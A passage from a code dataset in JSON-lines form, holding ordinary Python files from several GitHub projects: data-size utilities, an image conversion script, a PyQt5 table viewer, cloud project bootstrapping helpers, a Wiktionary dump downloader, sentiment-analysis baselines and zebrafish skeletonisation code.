np.ndarray):\n memory_in_bytes = arr.nbytes\n elif issparse(arr):\n memory_in_bytes = arr.data.nbytes\n elif ispandas(arr):\n memory_in_bytes = arr.memory_usage(index=True, deep=True).sum()\n else:\n raise ValueError(f\"Unrecognised data type of X, expected data type to \"\n f\"be in (np.ndarray, spmatrix, pd.DataFrame) but got :{type(arr)}\")\n\n return float(memory_in_bytes / (2**20))\n\n\ndef reduce_dataset_size_if_too_large(\n X: DatasetCompressionInputType,\n memory_allocation: Union[int, float],\n is_classification: bool,\n random_state: Union[int, np.random.RandomState],\n y: Optional[SupportedTargetTypes] = None,\n methods: List[str] = ['precision', 'subsample'],\n) -> DatasetCompressionInputType:\n f\"\"\" Reduces the size of the dataset if it's too close to the memory limit.\n\n Follows the order of the operations passed in and retains the type of its\n input.\n\n Precision reduction will only work on the following data types:\n - {supported_precision_reductions}\n\n Precision reduction will only perform one level of precision reduction.\n Technically, you could supply multiple rounds of precision reduction, i.e.\n to reduce np.float128 to np.float32 you could use `methods = ['precision'] * 2`.\n\n However, if that's the use case, it'd be advised to simply use the function\n `autoPyTorch.data.utils.reduce_precision`.\n\n Args:\n X: DatasetCompressionInputType\n The features of the dataset.\n\n methods (List[str] = ['precision', 'subsample']):\n A list of operations that are permitted to be performed to reduce\n the size of the dataset.\n\n **precision**\n\n Reduce the precision of float types\n\n **subsample**\n Reduce the amount of samples of the dataset such that it fits into the allocated\n memory. Ensures stratification and that unique labels are present\n\n\n memory_allocation (Union[int, float]):\n The amount of memory to allocate to the dataset. It should specify an\n absolute amount.\n\n Returns:\n DatasetCompressionInputType\n The reduced X if reductions were needed\n \"\"\"\n\n for method in methods:\n if megabytes(X) <= memory_allocation:\n break\n\n if method == 'precision':\n # If the dataset is too big for the allocated memory,\n # we then try to reduce the precision if it's a high precision dataset\n X, reduced_dtypes, dtypes = reduce_precision(X)\n warnings.warn(\n f'Dataset too large for allocated memory {memory_allocation}MB, '\n f'reduced the precision from {dtypes} to {reduced_dtypes}',\n )\n elif method == \"subsample\":\n # If the dataset is still too big such that we couldn't fit\n # into the allocated memory, we subsample it so that it does\n\n n_samples_before = X.shape[0]\n sample_percentage = memory_allocation / megabytes(X)\n\n # NOTE: type ignore\n #\n # Tried the generic `def subsample(X: T) -> T` approach but it was\n # failing elsewhere, keeping it simple for now\n X, y = subsample( # type: ignore\n X,\n y=y,\n sample_size=sample_percentage,\n is_classification=is_classification,\n random_state=random_state,\n )\n\n n_samples_after = X.shape[0]\n warnings.warn(\n f\"Dataset too large for allocated memory {memory_allocation}MB,\"\n f\" reduced number of samples from {n_samples_before} to\"\n f\" {n_samples_after}.\"\n )\n\n else:\n raise ValueError(f\"Unknown operation `{method}`\")\n\n return X, y\n","repo_name":"automl/Auto-PyTorch","sub_path":"autoPyTorch/data/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":20438,"program_lang":"python","lang":"en","doc_type":"code","stars":2173,"dataset":"github-code","pt":"78"} +{"seq_id":"21917608189","text":"# Use ImageMagick's \"convert\" to convert .png files to .jpg\n\nimport sys\nimport os\n\nprint(len(sys.argv))\nif (len(sys.argv) < 5):\n usage_str = \"Usage: %s start_idx stop_idx step resize_pct \" % (sys.argv[0])\n print(usage_str)\n print(\"e.g.,\")\n eg_str = \"%s 0 1000 10 20\" % (sys.argv[0])\n print(eg_str)\n exit(1)\nelse:\n start_idx = int(sys.argv[1])\n stop_idx = int(sys.argv[2])\n step = int(sys.argv[3])\n resize_pct = sys.argv[4]\n\nfor idx in range(start_idx,stop_idx+1,step):\n fname = \"snapshot%08d\" % idx\n fname = \"aaa%08d\" % idx\n cmd = \"convert \" + fname + \".png -resize \" + resize_pct + \"% \" + fname + \".jpg\"\n print(cmd)\n os.system(cmd)\n","repo_name":"rheiland/simple_FBA","sub_path":"PhysiCell-1.5.2/unit_tests/molecular_single_cell1/output/png2jpg.py","file_name":"png2jpg.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11160075049","text":"'''\nAuthor: Milton13 2677454592@qq.com\nDate: 2023-08-29 16:31:56\nLastEditors: Milton13 2677454592@qq.com\nLastEditTime: 2023-09-01 10:51:21\nFilePath: \\CSSPaddleVer\\hashCodeGen.py\nDescription: 这是默认设置,请设置`customMade`, 打开koroFileHeader查看配置 进行设置: https://github.com/OBKoro1/koro1FileHeader/wiki/%E9%85%8D%E7%BD%AE\n'''\nimport paddle\nimport utils\nfrom tqdm import tqdm\nfrom paddle.vision.transforms import Resize\nimport numpy as np\nimport os\nimport h5py\n\nh, w, c = [64, 64, 3]\nbatch_size = 64\npath = \"./output/dsth\"\ndsthModel = paddle.jit.load(path)\ndsthModel.eval()\n\npath = \"../datasets/NWPU-RESISC45/test\"\ntrain_set = utils.build_testset(path)\ndata_loader = paddle.io.DataLoader(train_set, batch_size=batch_size, shuffle=True, num_workers=1, drop_last=False)\nhashcodes = []\nfor batch_id, data in enumerate(tqdm(data_loader(), desc=\"generating hashcodes\")):\n images, label = data\n images_t = paddle.zeros([images.shape[0], c, h, w])\n for i in range(images.shape[0]):\n images_t[i] = Resize((h, w))(images[i]).astype(\"float32\")\n images = images_t\n hashcode = dsthModel(images)\n hashcode = hashcode > 0.5\n if batch_id == 0:\n hashcodes = hashcode\n else:\n hashcodes = paddle.concat([hashcodes, hashcode], axis=0)\nhashcodes = np.asarray(hashcodes).astype('int')\nprint(hashcodes.shape)\nsum = hashcodes.sum(axis=0)\nprint(sum)\n\nhashcodes_int64 = []\nfor i in range(hashcodes.shape[0]):\n hashcode = 0\n for j in range(hashcodes.shape[1]):\n hashcode = (hashcode << 1) + hashcodes[i][j].astype('int64')\n hashcodes_int64.append(hashcode)\nhashcodes = hashcodes_int64\n\nf = h5py.File(os.path.join(path, 'hashcodes.hy'), 'w')\nf['hashcodes'] = hashcodes\nf.close()","repo_name":"MiltonZheng/CSSPaddleVer","sub_path":"hashCodeGen.py","file_name":"hashCodeGen.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"43438711225","text":"import os\nimport sys\nimport csv\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import * \nfrom PyQt5.QtCore import Qt, QDate\n\nfrom PyQt5 import uic\n\ndef resource_path(relative_path):\n base_path = getattr(sys, \"_MAIPASS\", os.path.dirname(os.path.abspath(__file__)))\n return os.path.join(base_path, relative_path)\n\nform = resource_path('SP_search.ui')\nform_class = uic.loadUiType(form)[0]\n\nclass TableModel(QtCore.QAbstractTableModel):\n def __init__(self, data):\n super(TableModel, self).__init__()\n self._data = data\n\n def data(self, index, role):\n if role == Qt.DisplayRole:\n # See below for the nested-list data structure.\n # .row() indexes into the outer list,\n # .column() indexes into the sub-list\n return self._data[index.row()][index.column()]\n\n def rowCount(self, index):\n # The length of the outer list.\n return len(self._data)\n\n def columnCount(self, index):\n # The following takes the first sub-list, and returns\n # the length (only works if all rows are an equal length)\n return len(self._data[0])\n\n\nclass WindowClass(QMainWindow, form_class):\n def __init__(self):\n super().__init__()\n self.setupUi(self)\n \n self.pushButton_4.clicked.connect(self.set_tbl)\n self.pushButton_5.clicked.connect(self.tableWidget.clear)\n\n def set_tbl(self):\n '''\n rows = csv.reader(self.read_data())\n headers = next(rows)\n data = []\n for row in rows:\n data.append(row)\n '''\n data = ['동', '호', '동호명', '가구수', '계약\\n종별', '요금적용\\n전력', '사용량', '기본요금', '전력량\\n요금', \n '기후환경\\n요금', '연료비조정\\n요금', '필수사용\\n공제', '복지추가\\n감액', '할인\\n구분', '복지할인', '요금개편\\n차액', \n '절전할인', '자동이체\\n/인터넷', '단수', '전기요금', '부가세', '전력\\n기금', '전기\\n바우처', '정산', '출산가구소급', \n '당월소계']#, 'TV수신료', '청구금액']\n\n data.append(['동', '호', '동호명', '가구수', '계약\\n종별', '요금적용\\n전력', '사용량', '기본요금', '전력량\\n요금', \n '기후환경\\n요금', '연료비조정\\n요금', '필수사용\\n공제', '복지추가\\n감액', '할인\\n구분', '복지할인', '요금개편\\n차액', \n '절전할인', '자동이체\\n/인터넷', '단수', '전기요금', '부가세', '전력\\n기금', '전기\\n바우처', '정산', '출산가구소급', \n '당월소계'])#, 'TV수신료', '청구금액'])\n\n rdr_row = len(data)\n rdr_col = len(data[0])\n\n self.tableWidget.setAlternatingRowColors(True)\n\n self.tableWidget.setRowCount(rdr_row)\n self.tableWidget.setColumnCount(rdr_col)\n self.tableWidget.setHorizontalHeaderLabels(['기존', '금월'])\n #self.tableWidget.setHorizontalHeaderLabels(headers)\n self.tableWidget.setSortingEnabled(True) # default ; False\n\n self.tableView = QtWidgets.QTableView()\n self.model = TableModel(data)\n self.tableView.setModel(self.model)\n\n #self.setCentralWidget(self.tableView)\n\n r = 0\n for i in data:\n r += 1\n c = 0\n for j in i:\n c += 1\n self.tableWidget.setItem(r-1,c-1,QTableWidgetItem(j))\n\n self.tableWidget.cellChanged.connect(self.cellChangeFunc)\n self.tableWidget.cellClicked.connect(self.cellClickedFunc)\n self.lineEdit_1.setText('Test 입력')\n #self.show()\n\n\n\n def cellChangeFunc(self, row, col):\n data = self.tableWidget.item(row, col)\n lineEditNo = 'lineEdit_'+str(col)\n self.lineEdit_1.setText(data.text())\n self.lineEdit_2.setText(data.text())\n print(\"cell changed event 발생 : \", row, col, data.text(), lineEditNo)\n\n def cellClickedFunc(self, row, col):\n i= 0\n row_content = []\n #range(self.tableWidget.columnCount())\n for column in range(self.tableWidget.columnCount()):\n content = self.tableWidget.item(row, column).text()\n row_content.append(content)\n \n self.lineEdit_1.setText(row_content[0])\n self.lineEdit_2.setText(row_content[1])\n self.lineEdit_3.setText(row_content[2])\n self.lineEdit_4.setText(row_content[3])\n self.lineEdit_5.setText(row_content[4])\n self.lineEdit_6.setText(row_content[5])\n self.lineEdit_7.setText(row_content[6])\n self.lineEdit_8.setText(row_content[7])\n self.lineEdit_9.setText(row_content[8])\n s = row_content[2].split('/')\n print(s)\n # s_d = s.split('/')\n d = QDate(int(s[2]), int(s[0]), int(s[1]))\n self.dateEdit_3.setDate(d)\n \n #print(\"cell changed event 발생 : \", row, col, data.text(), lineEditNo)\n\n\n def read_data(self):\n \n #files = QFileDialog.askopenfilename(title=\"엑셀 데이타 파일을 선택하세요\", \\\n # filetypes=((\"EXCEL 파일\", \"*.xls\"),('CSV 파일', '*.csv'), (\"EXCEL 파일\", \"*.xlsx\"), (\"모든 파일\", \"*.*\")))\n files = QFileDialog.getOpenFileName(self, '파일을 선택하세요.', r'C:/source/pygame/Nado Game/pyqt5' , 'All File(*);; Text File(*.txt);; csv file(*csv) ;; excel file(*xls *xlsx)')\n filename = resource_path(files[0])\n f = open(filename)\n \n return f\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n myWindow = WindowClass()\n myWindow.show()\n app.exec_()\n","repo_name":"limhoontaig/pygame","sub_path":"Nado Game/pyqt5/SPSearchPyQt5.py","file_name":"SPSearchPyQt5.py","file_ext":"py","file_size_in_byte":5663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41255292023","text":"# -- Base Python imports\nimport logging\nimport os\nimport shutil\nimport uuid\n\n# -- 3rd party imports\nimport ruamel.yaml as yaml\nfrom jinja2 import Template\n\n\n# -- Functions\ndef check_if_project_exists(args):\n \"\"\"Function to check if the project already exists and ensure that the user wants\n it to be overwritten, if that is the case\"\"\"\n if args.name in os.listdir():\n logging.info(\n f\"The project you are trying to create, {args.name}, \"\n \"already exists in this repository. Are you sure you want to initialize \"\n \"this project again and overwrite existing files (y/[n])? \"\n )\n response = input(\"Input: \")\n if response in [\"y\", \"Y\", \"yes\", \"Yes\", \"YES\"]:\n logging.info(f\"Overwriting existing project: {args.name}\")\n else:\n raise SystemExit(\"Project already exists, stopping initialization\")\n\n\ndef generate_project_files(args, provider: str, package_root: str, project_root: str):\n \"\"\"Function to copy files from bootstrap files directory to project directory,\n potentially using non verbose files if passed as argument through command\n line\n\n Parameters\n ----------\n args:\n Command line arguments passed at runtime. Expected to contain --project/-p,\n can also contain --nonverbose/-nv\n provider : str\n Selected cloud provider that Grater Expectations should be configured for\n package_root : str\n Root directory of the package\n project_root : str\n Directory of the project\n \"\"\"\n # -- 1. Copy files from bootstrap files\n from_path = os.path.join(package_root, \"bootstrap_files\", provider)\n to_path = os.path.join(project_root, args.name)\n\n copy_and_overwrite_tree(\n from_path=from_path,\n to_path=to_path,\n ignore_pattern=shutil.ignore_patterns(\n \"__init__*\",\n \"non_verbose_files\",\n \"tutorial_files\",\n \"testing_config.yml\",\n \"__pycache__\",\n ),\n )\n\n # -- 2. If nonverbose, get nonverbose files\n if args.nonverbose:\n logging.info(\"Replacing generated files with non-verbose versions\")\n path = os.path.join(\n package_root, \"bootstrap_files\", provider, \"non_verbose_files\"\n )\n for nv_file in os.listdir(path):\n if nv_file == \"__pycache__\":\n continue\n orig = os.path.join(path, nv_file)\n dest = os.path.join(to_path, nv_file)\n shutil.copy2(orig, dest)\n\n\ndef generate_project_config(\n cfg: dict, project_root: str, args, cfg_global: dict = None\n):\n \"\"\"Function to copy and write project specific configurations\n\n Parameters\n ----------\n cfg : dict\n Project config containing required elements to generate the GE configuration\n file\n project_root : str\n Directory of the project\n args:\n Command line arguments passed at runtime. Expected to contain --project/-p\n cfg_global : dict\n Global config containing AWS account details. Are added to the configuration\n YAML if passed at runtime, otherwise they are skipped. By default, None\n \"\"\"\n # -- Check for global configs, add if passed\n if cfg_global:\n cfg = {**cfg, **cfg_global}\n\n # -- Write file\n doc_out = yaml.dump(cfg, default_flow_style=False)\n with open(\n os.path.join(project_root, args.name, \"project_config.yml\"), \"w\"\n ) as project_yaml:\n project_yaml.write(doc_out)\n\n\ndef generate_ge_config(\n cfg: dict, args, provider: str, package_root: str, project_root: str\n):\n \"\"\"Function to generate a configuration file for Great Expectations, using arguments\n passed through a config in cfg and command line arguments in args\n\n Parameters\n ----------\n cfg : dict\n Project config containing required elements to generate the GE configuration\n file\n args:\n Command line arguments passed at runtime. Expected to contain a .name attribute\n provider : str\n Selected cloud provider that Grater Expectations should be configured for\n package_root : str\n Root directory of the package\n project_root : str\n Directory of the project\n \"\"\"\n logging.info(\"Generating Great Expectations configuration file\")\n path = os.path.join(project_root, args.name)\n ge_config = os.path.join(\n package_root, \"docs\", \"templates\", provider, \"ge_config.yaml\"\n )\n print(ge_config)\n idx = str(uuid.uuid4())\n\n with open(ge_config, \"r\") as filename:\n template = Template(filename.read())\n base_yaml = template.render(cfg=cfg, idx=idx)\n\n if \"great_expectations\" not in os.listdir(path):\n os.mkdir(os.path.join(path, \"great_expectations\"))\n\n with open(\n os.path.join(\n project_root, args.name, \"great_expectations\", \"great_expectations.yml\"\n ),\n \"w\",\n ) as out:\n out.write(base_yaml)\n\n\ndef generate_container_bash_script(\n cfg: dict,\n args,\n cfg_global: dict,\n provider: str,\n package_root: str,\n project_root: str,\n):\n \"\"\"Function to generate a bash script to create a docker image and push it to ECR,\n using arguments from configs in cfg and cfg_global and command line arguments in\n args\n\n Parameters\n ----------\n cfg : dict\n Config containing required elements to generate the GE configuration file\n args:\n Command line arguments passed at runtime. Expected to contain --project/-p\n cfg_global : dict\n Config containing required global elements (AWS account and region) to generate\n the GE configuration file\n provider : str\n Selected cloud provider that Grater Expectations should be configured for\n package_root : str\n Root directory of the package\n project_root : str\n Directory of the project\n \"\"\"\n logging.info(\n \"Generating bash script for making docker image and uploading it to a \"\n \"container registry\"\n )\n if provider == \"AWS\":\n path = os.path.join(project_root, args.name)\n ECR_endpoint = (\n f'{cfg_global[\"account_id\"]}.dkr.ecr.{cfg_global[\"region\"]}.amazonaws.com'\n )\n docker_image = cfg[\"docker_image_name\"]\n region = cfg_global[\"region\"]\n ecr_sh = os.path.join(package_root, \"docs\", \"templates\", provider, \"ecr.sh\")\n\n with open(ecr_sh, \"r\") as filename:\n template = Template(filename.read())\n document = template.render(\n docker_image=docker_image, ECR_endpoint=ECR_endpoint, region=region\n )\n\n with open(os.path.join(path, \"build_image_store_on_ecr.sh\"), \"w\") as out:\n out.write(document)\n\n if provider == \"Azure\":\n acr_sh = os.path.join(package_root, \"docs\", \"templates\", provider, \"acr.sh\")\n acr_sh_ouput = os.path.join(\n project_root, args.name, \"build_image_store_on_acr.sh\"\n )\n with open(acr_sh, \"r\") as filename:\n template = Template(filename.read())\n document = template.render(cfg=cfg)\n with open(acr_sh_ouput, \"w+\") as filename:\n filename.write(document)\n\n\ndef generate_terraform_provider_config(\n args, cfg_global: dict, provider: str, package_root: str, project_root: str\n):\n \"\"\"Function to generate Terraform provider configuration files for each Terraform\n directory within a project\n\n Parameters\n ----------\n args:\n Command line arguments passed at runtime. Expected to contain the .name\n attribute\n cfg_global : dict\n Global config containing AWS account details\n provider : str\n Selected cloud provider that Grater Expectations should be configured for\n package_root : str\n Root directory of the package\n project_root : str\n Directory of the project\n \"\"\"\n logging.info(\"Creating Terraform provider.tf configuration files\")\n # -- 1. Generate document\n provider = os.path.join(package_root, \"docs\", \"templates\", provider, \"provider.tf\")\n\n with open(provider, \"r\") as filename:\n template = Template(filename.read())\n document = template.render(cfg_global=cfg_global)\n\n # -- 2. Put in all Terraform directories\n tf_dir = os.path.join(project_root, args.name, \"terraform\")\n loop_dirs = [path for path in os.listdir(tf_dir) if path not in [\".DS_Store\"]]\n for path in loop_dirs:\n with open(os.path.join(tf_dir, path, \"provider.tf\"), \"w+\") as out:\n out.write(document)\n\n\ndef generate_terraform_var_files(\n cfg: dict, args, cfg_global: dict, provider: str, project_root: str\n):\n \"\"\"Function to generate Terraform variable files that can be used in combination with\n Terraform configuration files to spin up the required AWS services\n\n Parameters\n ----------\n cfg : dict\n Config containing required elements to generate the GE configuration file\n args:\n Command line arguments passed at runtime. Expected to contain the .name\n attribute\n cfg_global : dict\n Global config containing AWS account details\n provider : str\n Selected cloud provider that Grater Expectations should be configured for\n project_root : str\n Directory of the project\n \"\"\"\n logging.info(\"Creating Terraform variable configuration files\")\n path = os.path.join(project_root, args.name,)\n\n if provider == \"AWS\":\n # -- 1. Generate Terraform vars for buckets\n # TODO: replace w/ template\n document_buckets = f\"\"\"ge-bucket-name = \"{cfg[\"store_bucket\"]}\"\nge-site-bucket-name = \"{cfg[\"site_bucket\"]}\"\nge-data-bucket-name = \"{cfg[\"data_bucket\"]}\"\n \"\"\"\n\n # -- 2. Generate Terraform vars for lambda\n # TODO: replace w/ template\n image_uri = (\n f'\"{cfg_global[\"account_id\"]}.dkr.ecr.{cfg_global[\"region\"]}.amazonaws.com/'\n f'{cfg[\"docker_image_name\"]}:latest\"'\n )\n document_lambda = document_buckets + f\"image_uri = {image_uri}\"\n\n # -- 3. Write files\n paths_out = []\n for target in [\"buckets\", \"lambda\"]:\n paths_out.append(\n os.path.join(\n project_root,\n args.name,\n \"terraform\",\n target,\n f\"{args.name}.auto.tfvars\",\n )\n )\n\n for path, doc in zip(paths_out, [document_buckets, document_lambda]):\n with open(path, \"w\") as out:\n out.write(doc)\n\n elif provider == \"Azure\":\n # -- 1. Generate Terraform vars for storage\n # TODO: refactor to template\n document_storage = f\"\"\"region = \"{cfg_global[\"region\"]}\"\nresource_group_name = \"{cfg[\"resource_group_name\"]}\"\nstorage_account_name = \"{cfg[\"storage_account\"]}\"\ndata_container = \"{cfg[\"data_container_name\"]}\"\n\"\"\"\n\n # -- 2. Generate Terraform vars for function\n # TODO: refactor to template\n document_function = f\"\"\"resource_group_name = \"{cfg[\"resource_group_name\"]}\"\nstorage_account_name = \"{cfg[\"storage_account\"]}\"\napp_service_name = \"{cfg[\"function_name\"]}-app-service\"\nfunction_name = \"{cfg[\"function_name\"]}-function\"\ndocker_image_name = \"{cfg[\"docker_image_name\"]}\"\ncontainer_registry_name = \"{cfg[\"container_registry_name\"]}\"\n\"\"\"\n\n # -- 3. Write files\n paths_out = []\n for target in [\"storage\", \"function\"]:\n paths_out.append(\n os.path.join(\n project_root,\n args.name,\n \"terraform\",\n target,\n f\"{args.name}.auto.tfvars\",\n )\n )\n\n for path, doc in zip(paths_out, [document_storage, document_function]):\n with open(path, \"w\") as out:\n out.write(doc)\n\n\ndef copy_and_overwrite_tree(\n from_path: str, to_path: str, ignore_pattern: shutil.ignore_patterns = None\n):\n \"\"\"Helper function to copy files and overwrite existing ones if necessary\n\n Parameters\n ----------\n from_path : str\n Source path of the directory to copy\n to_path : str\n Destination path of directory to paste\n ignore_pattern : shutil.ignore_patterns, optional\n Set of patterns for files that should not be copied\n \"\"\"\n logging.info(f\"Copying and overwriting files from {from_path} to {to_path}\")\n if os.path.exists(to_path):\n shutil.rmtree(to_path)\n shutil.copytree(from_path, to_path, ignore=ignore_pattern)\n\n\ndef adjust_for_tutorial(args, provider: str, package_root: str, project_root: str):\n \"\"\"Helper function to move files into tutorial directory if tutorial is being run\n\n Parameters\n ----------\n args:\n Command line arguments passed at runtime. Expected to contain the .name\n attribute\n provider : str\n Selected cloud provider that Grater Expectations should be configured for\n package_root : str\n Root directory of the package\n project_root : str\n Directory of the project\n \"\"\"\n logging.info(\"Making adjustments for running the tutorial\")\n if args.name == \"tutorial\":\n # -- 1. Add tutorial Terraform files\n path_terraform_tutorial = os.path.join(\n package_root, \"bootstrap_files\", provider, \"tutorial_files\", \"terraform\"\n )\n sub_directories = os.listdir(path_terraform_tutorial)\n for sub_dir in sub_directories:\n # -- .1 Set originating subdir\n orig = os.path.join(path_terraform_tutorial, sub_dir)\n\n # -- .2 Construct target subdir\n dest = os.path.join(project_root, args.name, \"terraform\", sub_dir)\n\n # -- .3 Copy file\n for tutorial_file in os.listdir(orig):\n shutil.copy2(\n os.path.join(orig, tutorial_file), os.path.join(dest, tutorial_file)\n )\n\n # # -- 2. Add tutorial data\n orig = os.path.join(package_root, \"bootstrap_files\", \"tutorial_data\")\n dest = os.path.join(project_root, args.name, \"data\")\n copy_and_overwrite_tree(orig, dest)\n\n # -- 3. Copy tutorial notebook and remove expectation_suite.ipynb\n orig = os.path.join(\n package_root,\n \"bootstrap_files\",\n provider,\n \"tutorial_files\",\n \"tutorial_notebook.ipynb\",\n )\n\n dest = os.path.join(project_root, args.name, \"tutorial_notebook.ipynb\")\n shutil.copy2(orig, dest)\n os.remove(os.path.join(project_root, args.name, \"expectation_suite.ipynb\"))\n\n # # -- 4. Replace lambda function or Azure function directory\n function_mapping = {\"AWS\": \"lambda_function.py\", \"Azure\": \"function\"}\n orig = os.path.join(\n package_root,\n \"bootstrap_files\",\n provider,\n \"tutorial_files\",\n function_mapping[provider],\n )\n dest = os.path.join(project_root, args.name, function_mapping[provider])\n\n if provider == \"AWS\":\n shutil.copy2(orig, dest)\n elif provider == \"Azure\":\n copy_and_overwrite_tree(orig, dest)\n\n\ndef start_notebook(args, project_root: str, notebook_name: str = \"expectation_suite\"):\n \"\"\"Helper function to open up the expectation_suite.ipynb notebook upon\n initialization of a new project\"\"\"\n logging.info(f\"Opening {notebook_name} notebook for project {args.name}\")\n path = os.path.join(project_root, args.name, f\"{notebook_name}.ipynb\")\n print(path)\n os.system(f'nbopen \"{path}\"')\n","repo_name":"jschra/grater_expectations","sub_path":"utils/init_functions_project.py","file_name":"init_functions_project.py","file_ext":"py","file_size_in_byte":15536,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"3710106600","text":"from os.path import exists\nimport re\nfrom time import sleep\nimport urllib.request\n\n\ndirectory_html = urllib.request.urlopen(\"https://dumps.wikimedia.org/backup-index-bydb.html\").read().decode('utf-8')\nlanguage_codes = re.findall(r\"([_a-z]+)wiktionary: \", directory_html)\n# Excludes closed wiktionaries\n\n\ndef download_wiktionary(language_code):\n file_name = \"%swiktionary-latest-all-titles-in-ns0.gz\" % language_code\n full_path = \"/var/local/moss/bulk-wikipedia/all-wiktionaries/%s\" % file_name\n if exists(full_path):\n print(f\"Skipping existing file - {full_path}\")\n return\n dump_url = \"https://dumps.wikimedia.org/%swiktionary/latest/%s\" % (language_code, file_name)\n sleep(1)\n print(\"Downloading %s\" % dump_url)\n try:\n urllib.request.urlretrieve(dump_url, full_path)\n except urllib.error.HTTPError as error:\n print(error)\n print(\"FAILED, skipping...\")\n except urllib.error.URLError as error:\n print(error)\n print(\"Temporary failure? Retrying in 30 seconds\")\n sleep(30)\n download_wiktionary(language_code)\n\n\nfor (language_code, _dump_status) in language_codes:\n download_wiktionary(language_code)\n","repo_name":"cdbeland/moss","sub_path":"download_all_wiktionaries.py","file_name":"download_all_wiktionaries.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"78"} +{"seq_id":"33413282972","text":"import re\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.linear_model import SGDClassifier\n\nfrom Data.lexicon.TXTfpblexical import predict_sentences\n\nREPLACE_BY_SPACE_RE = re.compile('[/(){}\\[\\]\\|@,;]')\nBAD_SYMBOLS_RE = re.compile('[^0-9a-z #+_]')\n\ndef load_aapl(path):\n ''' load aapl news sentences\n Requires:\n - pre_processed_aapl_sentences.csv (preprocessing.py)\n '''\n test = pd.read_csv(path+'pre_processed_aapl_sentences.csv', index_col=None, engine='python')\n test.dropna(inplace=True)\n return test\n\ndef load_malo(path):\n ''' load FinancialPhraseBank preprocessed sentences\n Requires:\n - Sentences_AllAgree_preprocessed_baseline.csv (preprocessing.py)\n '''\n data = pd.read_csv(path+'/Sentences_AllAgree_preprocessed_baseline.csv')\n return data\n\ndef lexicon_based(path):\n ''' lexicon based sentiment prediction\n creates:\n - aapl_lex.csv\n '''\n data = load_aapl(path)\n pred = predict_sentences(data, path)\n pred.to_csv(path_or_buf=path+'aapl_lex.csv')\n return pred\n\ndef clean_text(text):\n '''Clean text, remove URLs, newlines etc.'''\n text = re.sub(r'^https?:\\/\\/.*[\\r\\n]*', '', text, flags=re.MULTILINE)\n text = text.replace('\\n', ' ')\n text = BeautifulSoup(text, \"lxml\").text # HTML decoding\n text = text.lower() # lowercase text\n text = REPLACE_BY_SPACE_RE.sub(' ', text) # replace REPLACE_BY_SPACE_RE symbols by space in text\n text = BAD_SYMBOLS_RE.sub('', text) # delete symbols which are in BAD_SYMBOLS_RE from text\n return text\n\ndef tokenize(txt):\n \"\"\"Tokenize by whitespace.\"\"\"\n return txt.split()\n\ndef tfidf_svm(path):\n '''SVM based sentiment prediction using TFIDF\n creates:\n - aapl_svm.csv\n '''\n train = load_malo(path)\n test = load_aapl(path)\n train['sentence'] = train['sentence'].apply(clean_text)\n codes = {'neutral':0, 'positive':1, 'negative':-1}\n train['label'] = train['label'].map(codes)\n x_train, x_test, y_train, y_test = train_test_split(train['sentence'], # you can use test as validation, or remove this\n train['label'],\n test_size=0.2,\n random_state=42)\n piper = Pipeline([(\"vect\", CountVectorizer(tokenizer=tokenize,\n ngram_range=(1, 2),\n min_df=0.0,\n max_df=0.85)),\n (\"tfidf\", TfidfTransformer(norm=\"l2\",\n sublinear_tf=True,\n use_idf=True)),\n (\"clf\", SGDClassifier(shuffle=True,\n n_iter_no_change=80,\n random_state=123,\n alpha=0.0001,\n loss=\"log\",\n penalty=\"l1\"))])\n piper.fit(x_train, y_train)\n res_p = piper.predict_proba(test['text'])\n res_p = pd.DataFrame(res_p)\n res = piper.predict(test['text'])\n res = pd.get_dummies(res)\n f_res = pd.concat([test, res_p, res], axis=1)\n f_res.columns = ['idx', 'article_time', 'text', 'neg_prob',\n 'neut_prob', 'pos_prob', 'neg', 'neut', 'pos']\n f_res.to_csv(path_or_buf=path+'aapl_svm.csv')\n return f_res\n","repo_name":"eliasbaumann/BERT_stock_forecasting","sub_path":"baselines.py","file_name":"baselines.py","file_ext":"py","file_size_in_byte":3782,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"78"} +{"seq_id":"5809613939","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 2 16:21:39 2015\n\n@author: ajaver\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 13 19:39:41 2015\n\n@author: ajaver\n\"\"\"\nimport json\nimport os\n\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport tables\n\nfrom tierpsy.analysis.ske_create.helperIterROI import generateMoviesROI\nfrom tierpsy.analysis.ske_create.segWormPython.mainSegworm import getSkeleton, resampleAll\nfrom tierpsy.analysis.ske_create.zebrafishAnalysis import zebrafishAnalysis, zebrafishSkeleton\nfrom tierpsy.helper.misc import TABLE_FILTERS\n\ndef _zebra_func(worm_img, skel_args, resampling_N):\n # Get zebrafish mask\n config = zebrafishAnalysis.ModelConfig(**skel_args)\n worm_mask, worm_cnt, cnt_area, cleaned_mask, head_point, smoothed_points = zebrafishAnalysis.getZebrafishMask(worm_img, config)\n\n if worm_mask is None:\n return None\n\n # Get zebrafish skeleton\n skeleton, ske_len, cnt_side1, cnt_side2, cnt_widths, cnt_area = zebrafishSkeleton.getZebrafishSkeleton(cleaned_mask, head_point, smoothed_points, config)\n\n if skeleton is None:\n return None\n\n # Resample skeleton and other variables\n skeleton, ske_len, cnt_side1, cnt_side2, cnt_widths = resampleAll(skeleton, cnt_side1, cnt_side2, cnt_widths, resampling_N)\n\n if skeleton is None or cnt_side1 is None or cnt_side2 is None:\n return None\n\n return skeleton, ske_len, cnt_side1, cnt_side2, cnt_widths, cnt_area\n\ndef getWormMask(\n 